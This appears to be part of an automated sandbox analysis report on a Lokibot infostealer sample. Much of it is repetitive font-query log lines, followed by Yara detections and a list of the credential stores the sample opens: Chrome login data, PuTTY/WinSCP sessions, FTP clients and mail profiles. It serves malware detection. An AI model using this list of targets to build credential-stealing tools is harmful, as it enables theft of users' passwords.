Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Code function: 1_2_00406069 GetUserNameW,

1_2_00406069

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Lokibot

Show sources

Source: Yara match	File source: 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.364641317.0000000004341000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe PID: 7108, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe PID: 4852, type: MEMORY
Source: Yara match	File source: 1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.unpack, type: UNPACKEDPE

Yara detected Lokibot

Show sources

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000001.00000003.480912778.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.607799523.0000000000E68000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.476321253.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.452594690.0000000000E7C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.549778212.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.546020230.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.414092067.0000000000E7C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.491795139.0000000000E85000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.562835408.0000000000E7C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.563787570.0000000000E7C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.481769783.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.474650127.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.477261856.0000000000E85000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.529649981.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.480003007.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.485355648.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.479061979.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.446798245.0000000000E7C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.450970355.0000000000E7C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.490732616.0000000000E85000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.446675906.0000000000E7D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.519148526.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.472912647.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.565557733.0000000000E7D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.517673183.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.396032754.0000000000E7C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.560853517.0000000000E7C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.419428408.0000000000E7C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.535977726.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.486325651.0000000000E85000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.493532930.0000000000E85000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.533197865.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.420351505.0000000000E7D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.532205941.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.416818180.0000000000E7C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.489824103.0000000000E85000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.450013817.0000000000E7C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.488133602.0000000000E85000.00000004.00000001.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Jump to behavior

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts	Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook			Jump to behavior

Tries to steal Mail credentials (via file registry)

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Code function: PopPassword		1_2_0040D069
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Code function: SmtpPassword		1_2_0040D069

Source: Yara match	File source: 00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.364641317.0000000004341000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe PID: 4852, type: MEMORY
Source: Yara match	File source: 1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected Lokibot

Show sources

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000001.00000003.480912778.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.607799523.0000000000E68000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.476321253.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.452594690.0000000000E7C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.549778212.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.546020230.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.414092067.0000000000E7C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.491795139.0000000000E85000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.562835408.0000000000E7C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.563787570.0000000000E7C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.481769783.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.474650127.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.477261856.0000000000E85000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.529649981.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.480003007.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.485355648.0000000000E84000.00000004.00000001.sdmp, type: MEMORY
